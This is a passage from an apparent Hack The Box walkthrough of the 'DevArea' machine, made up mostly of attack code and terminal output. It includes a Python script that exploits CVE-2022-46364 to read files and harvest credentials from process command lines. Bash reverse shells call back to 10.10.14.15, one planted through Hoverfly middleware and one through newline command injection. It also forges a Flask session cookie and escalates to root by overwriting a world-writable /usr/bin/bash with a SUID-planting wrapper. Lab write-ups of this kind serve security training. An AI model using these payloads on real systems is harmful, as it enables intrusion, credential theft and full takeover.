irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

PID fuzzing to discover credentials

With arbitrary file read, we could read /proc/<pid>/cmdline to enumerate every running process. We wrote a script to iterate through PIDs and decode the results.

#!/usr/bin/env python3
import requests
import base64
import sys

TARGET = "http://devarea.htb:8080/employeeservice"
MAX_PID = int(sys.argv[1]) if len(sys.argv) > 1 else 1000

def read_file(path):
    body = f"""------=_Part_1\r\nContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r\nContent-Transfer-Encoding: 8bit\r\nContent-ID: <root@example.com>\r\n\r\n<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://devarea.htb/"><soapenv:Body><tns:submitReport><arg0><confidential>false</confidential><content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="{path}"/></content><department>IT</department><employeeName>test</employeeName></arg0></tns:submitReport></soapenv:Body></soapenv:Envelope>\r\n\r\n------=_Part_1--"""

    headers = {
        "Content-Type": 'multipart/related; type="application/xop+xml"; boundary="----=_Part_1"; start="<root@example.com>"; start-info="text/xml"',
    }
    try:
        r = requests.post(TARGET, data=body.encode(), headers=headers, timeout=10)
        # Extract content between "Content: " and "</return>"
        marker = "Content: "
        start = r.text.find(marker)
        if start == -1:
            return None
        start += len(marker)
        end = r.text.find("</return>", start)
        b64 = r.text[start:end].strip()
        if not b64:
            return None
        return base64.b64decode(b64).decode(errors="replace").replace("\x00", " ").strip()
    except Exception as e:
        return None

print(f"[*] Fuzzing PIDs 1-{MAX_PID}...")
for pid in range(1, MAX_PID + 1):
    result = read_file(f"file:///proc/{pid}/cmdline")
    if result:
        print(f"[PID {pid:5d}] {result}")

Running it against the first 5000 PIDs uncovered a goldmine.

┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ python fuzz_pid.py 5000
[*] Fuzzing PIDs 1-5000...
[PID     1] /sbin/init
[PID   409] /usr/lib/systemd/systemd-journald
[PID   465] /usr/lib/systemd/systemd-udevd
[PID   612] /usr/lib/systemd/systemd-resolved
[PID   620] /usr/lib/systemd/systemd-timesyncd
[PID   624] /sbin/auditd
[PID   625] /sbin/auditd
[PID   627] /usr/local/sbin/laurel --config /etc/laurel/config.toml
[PID   628] /sbin/auditd
[PID   670] /usr/lib/systemd/systemd-timesyncd
[PID   729] /usr/bin/VGAuthService
[PID   732] /usr/bin/vmtoolsd
[PID   744] dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
[PID   761] @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
[PID   814] /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
[PID   817] /usr/bin/vmtoolsd
[PID   820] nix-daemon --daemon
[PID   823] /usr/lib/polkit-1/polkitd --no-debug
[PID   835] /usr/bin/vmtoolsd
[PID   836] /usr/bin/vmtoolsd
[PID   858] /usr/lib/systemd/systemd-logind
[PID   870] /usr/libexec/udisks2/udisksd
[PID   883] nix-daemon --daemon
[PID   923] /usr/libexec/udisks2/udisksd
[PID   925] /usr/libexec/udisks2/udisksd
[PID   931] /usr/libexec/udisks2/udisksd
[PID  1023] /usr/lib/polkit-1/polkitd --no-debug
[PID  1024] /usr/lib/polkit-1/polkitd --no-debug
[PID  1037] /usr/lib/polkit-1/polkitd --no-debug
[PID  1056] /usr/libexec/udisks2/udisksd
[PID  1068] /usr/sbin/ModemManager
[PID  1108] /usr/libexec/udisks2/udisksd
[PID  1111] /usr/sbin/ModemManager
[PID  1119] /usr/sbin/ModemManager
[PID  1128] /usr/sbin/ModemManager
[PID  1231] /usr/sbin/rsyslogd -n -iNONE
[PID  1252] /usr/sbin/rsyslogd -n -iNONE
[PID  1253] /usr/sbin/rsyslogd -n -iNONE
[PID  1254] /usr/sbin/rsyslogd -n -iNONE
[PID  1459] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID  1460] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID  1463] /usr/sbin/cron -f -P
[PID  1476] /opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py
[PID  1490] /usr/sbin/vsftpd /etc/vsftpd.conf
[PID  1503] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID  1504] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID  1505] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID  1506] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID  1511] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID  1514] /sbin/agetty -o -p -- \u --noclear - linux
[PID  1515] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID  1516] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar
[PID  1578] /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
[PID  1580] /usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar /opt/EmployeeService/target/employee-service.jar

Hoverfly was running with its admin credentials passed directly as command-line arguments: admin / O7IJ27MyyXiU.

Hoverfly middleware RCE — shell as dev_ryan

We authenticated to the Hoverfly API and obtained a JWT.

┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ curl -s -X POST http://devarea.htb:8888/api/token-auth -H 'Content-Type: application/json' -d '{"username":"admin","password":"O7IJ27MyyXiU"}'
{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4MDI1MDMsImlhdCI6MTc3NDc2MjUwMywic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.gzRct1ajQVxNKLsLqIGOUYdAGC1kdaohH0OHg4MaR5ny1DpRRwa3h8BM1RnQXALUjghQvTIhiHtkw63onKDDMQ"}

Hoverfly supports a middleware feature that allows configuring a script to be executed against every proxied request. We set a bash reverse shell as the middleware script.

┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ curl -s http://devarea.htb:8888/api/v2/hoverfly/middleware -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4MDI1MDMsImlhdCI6MTc3NDc2MjUwMywic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.gzRct1ajQVxNKLsLqIGOUYdAGC1kdaohH0OHg4MaR5ny1DpRRwa3h8BM1RnQXALUjghQvTIhiHtkw63onKDDMQ'
{"binary":"","script":"","remote":""}
┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware -H 'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4MDI1MDMsImlhdCI6MTc3NDc2MjUwMywic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.gzRct1ajQVxNKLsLqIGOUYdAGC1kdaohH0OHg4MaR5ny1DpRRwa3h8BM1RnQXALUjghQvTIhiHtkw63onKDDMQ' -H 'Content-Type: application/json' -d '{"binary":"bash","script":"#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.15/9001 0>&1"}'

We landed a shell as dev_ryan and upgraded to a proper SSH session by adding our public key to ~/.ssh/authorized_keys.

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.109.198] 45420
bash: cannot set terminal process group (1460): Inappropriate ioctl for device
bash: no job control in this shell
dev_ryan@devarea:/opt/HoverFly$ id
id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
dev_ryan@devarea:/opt/HoverFly$ 

Privilege escalation to root

Sudo rights

dev_ryan@devarea:~$ sudo -l
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart
dev_ryan@devarea:~$

dev_ryan can run syswatch.sh as root without a password. The ! rules block web-stop and web-restart, but any other subcommand is permitted.

World-writable bash

dev_ryan@devarea:~$ ls -al /usr/bin/bash
-rwxrwxrwx 1 root root 1446024 Mar 31  2024 /usr/bin/bash
dev_ryan@devarea:~$ 

The source code of syswatch.sh can be found from user's home directory.

#!/bin/bash
set -euo pipefail

CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$'
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$'
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")

log_message() {
    local msg="$1"
    echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
    logger -t syswatch "$msg"
}


start_web() {
    # Reload systemd in case service was just added
    systemctl daemon-reload

    # Check if the service is already active
    if systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is already running."
        return
    fi

    echo "[*] Starting SysWatch Web GUI service..."
    systemctl enable syswatch-web.service >/dev/null 2>&1
    systemctl start syswatch-web.service

    # Give a small delay for startup
    sleep 2

    if systemctl is-active --quiet syswatch-web.service; then
        echo "[+] SysWatch Web GUI started successfully!"
    else
        echo "[-] Failed to start SysWatch Web GUI."
    fi
}

# Function: stop web GUI
stop_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running."
        return
    fi

    echo "[*] Stopping SysWatch Web GUI service..."
    systemctl stop syswatch-web.service
    echo "[+] SysWatch Web GUI stopped."
}

# Function: restart/reload web GUI
reload_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running. Starting it..."
        start_web
        return
    fi

    echo "[*] Reloading SysWatch Web GUI service..."
    systemctl restart syswatch-web.service
    echo "[+] SysWatch Web GUI reloaded successfully!"
}

# Function: show status
status_web() {
    systemctl status syswatch-web.service --no-pager  --lines=0
}



execute_plugin() {
    local plugin="$1"; shift
    if [[ ! $plugin =~ $SAFE_PLUGIN_REGEX ]]; then
        echo "Invalid plugin name" >&2
        return 1
    fi
    local fullpath="$PLUGIN_DIR/$plugin"
    [ ! -f "$fullpath" ] && echo "Plugin not found: $plugin" >&2 && return 1
    log_message "Executing plugin: $plugin $*"
    local run_root=0
    for p in "${RUN_AS_ROOT_PLUGINS[@]}"; do
        if [ "$plugin" = "$p" ]; then
            run_root=1
            break
        fi
    done
    if [ "$run_root" -eq 1 ]; then
        bash "$fullpath" "$@"
    else
        runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
    fi
}

list_plugins() {
    local files
    files=$(ls -1 "$PLUGIN_DIR" 2>/dev/null | grep -E '^.+\.sh$' || true)
    [ -z "${files:-}" ] && return
    while IFS= read -r f; do
        [ -z "$f" ] && continue
        local skip=0
        for ex in "${LIST_EXCLUDE[@]}"; do
            if [ "$f" = "$ex" ]; then
                skip=1
                break
            fi
        done
        [ "$skip" -eq 1 ] && continue
        echo " - $f"
    done <<< "$files"
}

view_logs() {
    local arg="${1:-}"

    # ---- LIST MODE ----
    if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
        local found=0
        for p in "$LOG_DIR"/*.log; do
            [ -e "$p" ] || continue
            [ -L "$p" ] && continue       # skip symlinks in list
            [ -f "$p" ] || continue
            echo " - $(basename "$p")"
            found=1
        done
        [ "$found" -eq 0 ] && echo "[No logs found]"
        return
    fi

    # FILE NAME VALIDATION
    local file="${arg:-system.log}"
    if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
        echo "[Invalid log filename]: $file"
        return 1
    fi

    local path="$LOG_DIR/$file"
    if [ -L "$path" ]; then
        local target
        target=$(ls -l "$path" | awk '{print $NF}')

        if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
            echo "[Blocked unsafe symlink target]: $file -> $target"
            return 1
        fi

        if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
            local resolved="$LOG_DIR/$target"
            if [ -f "$resolved" ]; then
                cat "$resolved"
                return
            else
                echo "[Symlink target not found]: $file -> $target"
                return 1
            fi
        fi

        if [[ "$target" == /var/log/* ]]; then
            [ -f "$target" ] && cat "$target" && return
            echo "[Symlink target not regular file]: $file -> $target"
            return 1
        fi

        echo "[Refusing unsafe symlink]: $file -> $target"
        return 1
    fi

    if [[ "$file" == */* || "$file" == *".."* ]]; then
        echo "[Blocked unsafe filename]: $file"
        return 1
    fi

    if [ -f "$path" ]; then
        cat "$path"
    else
        echo "[Log file not found]: $file"
    fi
}


usage() {
    echo "SysWatch $VERSION"
    echo "Usage: $0 <command> [args]"
    echo "Commands:"
    echo "  web                 Start web GUI"
    echo "  web-stop            Stop web GUI"
    echo "  web-restart         Restart web GUI"
    echo "  web-status          Show web GUI status"
    echo "  plugin <name> [args] Execute plugin"
    echo "  plugins             List available plugins"
    echo "  logs <file>         View log file"
    echo "  logs --list         List available log files"
    echo "  --version           Show version"
    echo "  --help|-h|help      Show this help"
}

main() {
    case "${1:-}" in
        web) start_web ;;
        web-stop) stop_web ;;
        web-restart|web-reload) reload_web ;;
        web-status) status_web ;;
        plugin) shift; execute_plugin "$@" ;;
        plugins) list_plugins ;;
        logs) shift; view_logs "$@" ;;
        --version) echo "$VERSION" ;;
        help|--help|-h) usage ;;
        *)
            usage
            ;;
    esac
}


if [ "$(id -u)" -eq 0 ]; then
    main "$@"
else
    if [[ "${1:-}" == "logs" ]]; then
        main "$@"
    else
        echo "Access denied. Root required for this action." >&2
        exit 1
    fi
fi

/usr/bin/bash is world-writable. Since syswatch.sh opens with #!/bin/bash (which resolves to /usr/bin/bash), replacing it with a malicious wrapper means the next sudo invocation will execute our code as root before handing off to the real shell.

Exploitation

We backed up the real bash and created our malicious wrapper.

dev_ryan@devarea:~$ cp /usr/bin/bash /tmp/bash_real
dev_ryan@devarea:~$
dev_ryan@devarea:~$ cat /tmp/exploit.sh 
#!/tmp/bash_real

cp /tmp/bash_real /tmp/rootbash

chmod u+s /tmp/rootbash        
exec /tmp/bash_real "$@"
dev_ryan@devarea:~$

There's a subtlety here: our current interactive shell is a running bash process. Overwriting /usr/bin/bash while it's in use risks corrupting the session. We switched to dash first to detach from any bash dependency, killed all remaining bash processes, then swapped the binary.

dev_ryan@devarea:~$ exec /bin/dash
$ killall -9 bash
$ cp /tmp/exploit.sh /usr/bin/bash

We triggered syswatch.sh as root.

$ sudo /opt/syswatch/syswatch.sh --version
1.0.0
$ 

Our wrapper ran as root, copied bash with the SUID bit set, then exec'd the real binary to finish normally. We restored the original immediately to avoid breaking the system.

$ ls -al /tmp
total 2904
drwxrwxrwt 16 root     root        4096 Mar 29 09:21 .
drwxr-xr-x 24 root     root        4096 Mar 22 18:55 ..
-rwxrwxr-x  1 dev_ryan dev_ryan 1446024 Mar 29 09:16 bash_real
-rwxrwxr-x  1 dev_ryan dev_ryan     320 Mar 29 09:17 exploit.sh
drwxrwxrwt  2 root     root        4096 Mar 29 08:30 .font-unix
drwxr-xr-x  2 dev_ryan dev_ryan    4096 Mar 29 08:30 hsperfdata_dev_ryan
drwxrwxrwt  2 root     root        4096 Mar 29 08:30 .ICE-unix
-rw-r--r--  1 root     root          20 Mar 29 09:17 logmonitor_timestamp
-rwsr-xr-x  1 root     root     1446024 Mar 29 09:21 rootbash
drwx------  2 root     root        4096 Mar 29 08:30 snap-private-tmp
drwx------  3 root     root        4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-apache2.service-GIF1Dc
drwx------  3 root     root        4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-ModemManager.service-o3LDOE
drwx------  3 root     root        4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-polkit.service-5vMMpX
drwx------  3 root     root        4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-systemd-logind.service-ARf1g5
drwx------  3 root     root        4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-systemd-resolved.service-LrvpD5
drwx------  3 root     root        4096 Mar 29 08:30 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-systemd-timesyncd.service-RY4ZKF
drwx------  3 root     root        4096 Mar 29 08:47 systemd-private-f4bebb248c1e4d8ca16dc7dbe8abae19-upower.service-rwbKOn
drwx------  2 root     root        4096 Mar 29 08:32 vmware-root_727-4290690966
drwxrwxrwt  2 root     root        4096 Mar 29 08:30 .X11-unix
drwxrwxrwt  2 root     root        4096 Mar 29 08:30 .XIM-unix
$ cp /tmp/bash_real /usr/bin/bash
$ 
$ /tmp/rootbash -p
rootbash-5.2# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)
rootbash-5.2# cd /root
rootbash-5.2# ls -la
total 44
drwx------  7 root root 4096 Mar 29 08:32 .
drwxr-xr-x 24 root root 4096 Mar 22 18:55 ..
lrwxrwxrwx  1 root root    9 Mar 10 16:28 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr 22  2024 .bashrc
drwxr-xr-x  4 root root 4096 Mar 22 18:55 .cache
drwx------  3 root root 4096 Mar 22 18:55 .config
drwxr-xr-x  3 root root 4096 Mar 22 18:55 .local
drwxr-xr-x  4 root root 4096 Mar 22 18:55 .npm
-rw-r--r--  1 root root  289 Sep 21  2025 .profile
-rw-r-----  1 root root   33 Mar 29 08:32 root.txt
drwx------  2 root root 4096 Mar 22 18:55 .ssh
-rw-r--r--  1 root root  165 Mar 10 16:28 .wget-hsts
rootbash-5.2# 

And there it was — root.

Conclusion

In summary, anonymous FTP handed us employee-service.jar. Decompiling it revealed an Apache CXF SOAP service, which we exploited via CVE-2022-46364 to read arbitrary local files. Iterating /proc/<pid>/cmdline through the same SSRF exposed Hoverfly running with its credentials in plaintext. We used those to push a malicious middleware script via the Hoverfly API and caught a shell as dev_ryan.

Root came down to two facts: dev_ryan could run syswatch.sh as root via sudo, and /usr/bin/bash — the shebang interpreter for that script — was world-writable. Replacing it with a wrapper that sets the SUID bit on a bash copy, triggering sudo, and running the SUID binary gave us root.

That wraps up DevArea. Thanks for reading — see you in the next one!

Beyond root — shell as syswatch

With root in hand, it was worth going back and exploring the SysWatch application running internally as the syswatch user. dev_ryan's home directory contained syswatch-v1.zip with the full source code.

We forwarded the internal port over SSH.

┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ ssh -i id_rsa -L 7777:127.0.0.1:7777 dev_ryan@devarea.htb -fN

The service environment file leaked the Flask secret key.

dev_ryan@devarea:~/.ssh$ cat /etc/systemd/system/syswatch-web.service
cat /etc/systemd/system/syswatch-web.service
[Unit]
Description=SysWatch Web GUI                                                                                                                                                                                                             
After=network.target                                                                                                                                                                                                                     

[Service]                                                                                                                                                                                                                                
Type=simple                                                                                                                                                                                                                              
User=syswatch                                                                                                                                                                                                                            
Group=syswatch                                                                                                                                                                                                                           
EnvironmentFile=/etc/syswatch.env                                                                                                                                                                                                        
WorkingDirectory=/opt/syswatch/syswatch_gui                                                                                                                                                                                              
ExecStart=/opt/syswatch/venv/bin/python /opt/syswatch/syswatch_gui/app.py                                                                                                                                                                
Restart=on-failure                                                                                                                                                                                                                       

[Install]                                                                                                                                                                                                                                
WantedBy=multi-user.target                                                                                                                                                                                                               
dev_ryan@devarea:~/.ssh$ cat /etc/syswatch.env
cat /etc/syswatch.env
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026                                                                                                                                                                                                
SYSWATCH_LOG_DIR=/opt/syswatch/logs                                                                                                                                                                                                      
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db                                                                                                                                                                                  
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins                                                                                                                                                                                                
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup                                                                                                                                                                                                 
SYSWATCH_VERSION=1.0.0                                                                                                                                                                                                                   
dev_ryan@devarea:~/.ssh$ 

We used flask-unsign to forge a signed admin session cookie.

┌──(kali㉿kali)-[~/Documents/htb/devarea/exploits]
└─$ flask-unsign --sign --cookie "{'user_id': 1, 'username': 'admin'}" --secret 'f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725' 
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acjF0g.cCgvuDXsc79t756qoTPqN9UsEZw

Setting this as our session cookie granted admin access to the dashboard.

Reading app.py, the /service-status route passes the user-supplied service name directly into a shell command via shell=True.

@app.route("/service-status", methods=["GET", "POST"])
@app.route("/service-status/", methods=["GET", "POST"])

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

def service_status():
    r = require_login()
    if r:
        return r
    output = None
    error = None
    service = ""
    if request.method == "POST":
        service = request.form.get("service", "").strip()
        if not service or not SAFE_SERVICE.match(service):
            error = "Invalid service name"
        else:
            try:
                res = subprocess.run([f"systemctl status --no-pager {service}"], shell=True,capture_output=True, text=True, timeout=10)
                output = res.stdout if res.stdout else res.stderr
            except Exception as e:
                error = str(e)
    return render_template("service_status.html", output=output, error=error, service=service)

The regex blocks slashes and semicolons but allows newlines, which lets us inject a second command. We pre-staged a reverse shell script and used awk to reconstruct the slash character since / is blocked by the filter.

dev_ryan@devarea:~/.ssh$ echo 'bash -i >& /dev/tcp/10.10.14.15/9002 0>&1' > /tmp/syswatch.sh
echo 'bash -i >& /dev/tcp/10.10.14.15/9002 0>&1' > /tmp/syswatch.sh
dev_ryan@devarea:~/.ssh$ chmod 777 /tmp/syswatch.sh
chmod 777 /tmp/syswatch.sh
dev_ryan@devarea:~/.ssh$ 
POST /service-status HTTP/1.1
Host: 127.0.0.1:7777
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:7777
Connection: keep-alive
Referer: http://127.0.0.1:7777/service-status
Cookie: csrftoken=8gjIghGjlxj3Vc9lcrIeFrDda9zjpZWW; admin_lang=english; meye_username=; meye_password_hash=da39a3ee5e6b4b0d3255bfef95601890afd80709; session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acjF0g.cCgvuDXsc79t756qoTPqN9UsEZw
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

service=ssh%0Abash%20$(echo+x|awk+'{printf+"%25c",47}')tmp$(echo+x|awk+'{printf+"%25c",47}')syswatch$(echo+x|awk+'{printf+"%25c",46 'import }')sh
┌──(kali㉿kali)-[~/Documents/htb/devarea]
└─$ rlwrap nc -nlvp 9002
listening on [any] 9002 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.109.198] 35936
bash: cannot set terminal process group (1476): Inappropriate ioctl for device
bash: no job control in this shell
syswatch@devarea:~/syswatch_gui$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<gui$ python3 -c 'import pty;pty.spawn("/bin/bash")'
syswatch@devarea:~/syswatch_gui$ 

A shell as syswatch — an alternative lateral movement path through the box that doesn't lead to root on its own, but shows the SysWatch application has its own exploitable surface worth exploring.